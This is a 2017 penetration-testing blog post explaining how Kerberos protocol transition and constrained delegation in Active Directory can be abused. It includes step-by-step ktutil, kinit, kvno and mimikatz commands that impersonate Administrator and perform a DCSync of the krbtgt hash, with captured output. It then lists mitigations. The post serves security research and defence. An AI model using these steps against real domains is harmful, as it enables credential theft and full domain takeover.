Trust? Years to earn, seconds to break
By Ben Campbell on 3 January, 2017
At MWR, we often investigate Active Directory configuration weaknesses during penetration tests and targeted attack simulations to identify routes an attacker can take to escalate their privileges, or achieve a full domain compromise.
One area that sparked our interest was the TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION (T2A4D) User-Account-Control flag, which applies to user accounts, and the repercussions it can have when configured within a Windows environment.
The User-Account-Control attribute, not to be confused with the Windows UAC mechanism, sets particular attributes on Active Directory accounts, such as if the account is disabled, locked out, or if the user's password never expires. The T24AD flag, when applied to a user account, is used for a Kerberos mechanism known as 'Protocol Transition'. It was created to solve a specific problem in which users authenticate to a service that doesn't support Kerberos authentication, but the service wishes to delegate their tokens to secondary services, e.g. MSSQL or CIFS, to access resources whilst impersonating those users.
The following screenshot shows an account that has been configured for this style of delegation:
To allow this process to occur, the Kerberos protocol extension 'Service For User To Self' (S4U2Self) was implemented by Microsoft. This extension allows a service to request a token for another user, by supplying their user principal name, but without supplying a password. When the user account has the T24AD flag, these tokens can be requested with the 'forwardable' attribute which allows the service to authenticate with these tokens to other services.
Now unconstrained delegation is bad, mmkay? So Microsoft ensured that these tokens could only be used for specific services which are configured on the user account via the 'Service For User To Proxy' (S4U2Proxy) extension. This setting is controlled by the msDS-AllowedToDelegateTo attribute on the user account. It contains a list of Service Principal Names that point to which Kerberos services the user can forward these tokens to (the same way normal Kerberos Constrained Delegation is performed). For example, you wish for your web service to access a file share for users so you would specify that the service account has an ms-DS-AllowedToDelegateTo value of "cifs/fs.contoso.com". This in effect allows the web service account to authenticate to the CIFS/SMB file share as any user in the domain, so requires a lot of trust in that application.
- The user authenticates to the web service using a non-Kerberos compatible authentication mechanism
- The web service requests a ticket from the Key Distribution Center (KDC) for the 'user' account without supplying a password, as the svc_web account
- The KDC checks the svc_web userAccountControl value for the TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION flag, and that the target user is not blocked for delegation. If OK it returns a forwadable ticket for the 'user' account (S4U2Self)
- The service then passes this ticket back to the KDC and requests a service ticket for the cifs/fs.contoso.com service
- The KDC checks the msDS-AllowedToDelegateTo field on the svc_web account. If the service is listed it will return a service ticket for the file share (S4U2Proxy)
- The web service can now authenticate to the file share as the 'user' account using the supplied ticket
I was busy thinking about which services could allow remote code execution via this process, when Benjamin Delpy, aka GentilKiwi, tweeted that it would be bad to point this configuration at an LDAP service.
The penny dropped, I have seen numerous web services that integrate with LDAP in some fashion, let's hope they haven't used T2A4D mechanism... This would mean that those web services could authenticate as almost any user to Active Directory, potentially changing sensitive configurations, permissions, or group membership to achieve a partial or full domain compromise. At this stage the only setting mitigating this issue is ensuring that all privileged accounts have the 'Account is sensitive and cannot be delegated' setting configured.
The wonderful Mr Delpy also found that a Kerberos ticket for ldap/domaincontroller.contoso.com would also allow that account to perform an Active Directory DC Sync attack. This allows an attacker to query extremely sensitive data from AD, e.g. the KRBTGT password hash to create a Golden Ticket.
Now I had a terrible thought, what is preventing a user, who has been granted permissions in Active Directory to control another account, from setting their User-Account-Control flags to include the 'TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION_FLAG' and setting arbitrary ms-DS-AllowedToDelegate services on the user? Fortunately Microsoft protect any user from setting this flag unless they are listed in the User Rights Assignment setting "Enable computer and user accounts to be trusted for delegation" (SeEnableDelegationPrivilege) on the Domain Controller.
There still remains a niche, but dangerous attack vector. The msDS-AllowedToDelegateTo is not protected by any special settings. A user with permissions over another account with the T2A4D flag, e.g. 'Full Control', can set this value to any service within the domain, changing your web service, with potentially excessive access to a file share within your DMZ, to a domain compromising monstrosity. It would be nice if Microsoft could protect the msDS-AllowedToDelegateTo field with the same User Rights Assignment settings as the T2A4D flag. Alternatively it would have sensible for Microsoft to have implemented it as an 'msDS-AllowedToDelegateFrom' field which applies to target accounts rather than the source account.
Edit: @harmj0y pointed out that the above conclusions were incorrect and that the msDS-AllowedToDelegateTo field is actually protected by SeEnableDelegationPrivilege.
There are a number of issues with exploitation of this natively in Windows. The API calls used which would request a ticket are based around 'impersonating' a user, and as such the user must have the 'SeTcbPrivilege' and 'SeImpersonate' privileges, which is normally reserved for service accounts and the SYSTEM account. As such our initial exploitation techniques use the Linux MIT krb5-user tools (1.12.1 or later is recommended as an issue in 1.12 prevents exploitation of this issue).
Troubleshooting hints: Use UPPERCASE domains, and use the FQDN for the target hostname.
Step 1 - Create a KeyTab file for the service account
For this we use the ktutil tool, which opens an interactive prompt:
ktutil: addent -password -p svc_t2a4d@CONTOSO.COM -k 1 -e rc4-hmac
Password for svc_t2a4d@CONTOSO.COM:
ktutil: wkt /root/test.keytab
Step 2 - Retrieve a Ticket Granting Ticket (TGT) for the service account
# kinit -V -k -t ~/test.keytab -f svc_t2a4d@CONTOSO.COM
Using default cache: /tmp/krb5cc_0
Using principal: svc_t2a4d@CONTOSO.COM
Using keytab: /root/test.keytab
Authenticated to Kerberos v5
Step 3 - Request a Ticket Granting Service (TGS) Ticket for the target service as the impersonated user (in this case 'Administrator')
# kvno -e rc4-hmac -k ~/test.keytab -P -U Administrator ldap/WIN-TOVFLFKO4DB.contoso.com@CONTOSO.COM
ldap/WIN-TOVFLFKO4DB.contoso.com@CONTOSO.COM: kvno = 4, keytab entry valid
Now if we check klist -f we should see a ticket for the target service with the forwardable flag 'F'.
07/12/16 19:47:10 08/12/16 05:47:05 ldap/WIN-TOVFLFKO4DB.contoso.com@CONTOSO.COM
for client Administrator@CONTOSO.COM, renew until 08/12/16 19:47:05, Flags: FPRAO
Step ... - Perform DCSync with samba-tool or secretsdump.py?
Unfortunately we've been unable to complete the full attack chain using Linux tooling. You should be able to use both samba-tool (see passing-the-hash blogpost) and secretsdump.py using existing Kerberos tickets, but we were unable to get this working. Hopefully when we can get these tools up and running we will update this post with full steps.
Step 4 - Pass the Kerberos Ticket in Windows
Instead we move to a Windows environment and use mimikatz to import our CCache file. First we use a little tip from Mr Delpy to ensure we don't have any user credentials that could interfere with our connections.
runas /noprofile /netonly /user:email@example.com mimikatz.exe
mimikatz # kerberos::ptc krb5cc_0
Principal : (01) : svc_t2a4d ; @ CONTOSO.COM
Start/End/MaxRenew: 07/12/2016 22:29:57 ; 08/12/2016 08:29:55 ; 08/12/2016 22:29:55
Service Name (01) : ldap ; WIN-TOVFLFKO4DB.contoso.com ; @ CONTOSO.COM
Target Name (01) : ldap ; WIN-TOVFLFKO4DB.contoso.com ; @ CONTOSO.COM
Client Name (10) : Administrator ; @ CONTOSO.COM
Flags 50a40000 : ok_as_delegate ; pre_authent ; renewable ; proxiable ; forwardable ;
Session Key : 0x00000017 - rc4_hmac_nt eb28ab360d2f96f5f3eaad7ccde58222
Ticket : 0x00000000 - null ; kvno = 2
* Injecting ticket : OK
Step 5 - Perform DCSync Attack and Profit
We can now DCSync our KRBTGT user for a Golden Ticket:
mimikatz # lsadump::dcsync /user:krbtgt
[DC] 'contoso.com' will be the domain
[DC] 'WIN-TOVFLFKO4DB.contoso.com' will be the DC server
[DC] 'krbtgt' will be the user account
Object RDN : krbtgt
** SAM ACCOUNT **
SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 07/12/2016 13:04:14
Object Security ID : S-1-5-21-1225692627-2309707116-1207525572-502
Object Relative ID : 502
Hash NTLM: 049ca947471d4ef006315bb8312c6ba0
Benjamin Delpy has also released an additional tool in his 'kekeo' Kerberos repository called S4U which can also be used to request a ticket, natively in Windows, to inject with Mimikatz:
This configuration isn't going to be present in all environments, but it is worthwhile checking your exposure with a quick LDAP search to identify if any accounts are affected, and take the following steps to mitigate your exposure if required:
- Query your domain for T2A4D accounts, using the LDAP Filter (userAccountControl:1.2.840.1135188.8.131.523:=16777216). Ensure that these don't have access to any privileged services or machines in their msDS-AllowedToDelegateTo field. Additionally check who has full control, or write access, to the msDS-AllowedToDelegateTo field and limit this access appropriately.
- Deprecate any T2A4D services where possible, or use Kerberos Constrained Delegation without protocol transition.
- Limit the exposure of services configured with this setting and reduce their susceptibility to attacks.
- Give the service account a strong password, or take advantage of Managed Group Service Accounts in Win2k12 domains.
- Ensure all sensitive user accounts are prevented from being delegated using the 'Account is sensitive and cannot be delegated' attribute or by using the 'Protected Users' groups (Win2k12R2+).
- Verify the user accounts in the User Rights Assignment property "Enable computer and user accounts to be trusted for delegation" in the Default Domain Controller Group Policy Object, or any GPOs that apply to your domain controllers.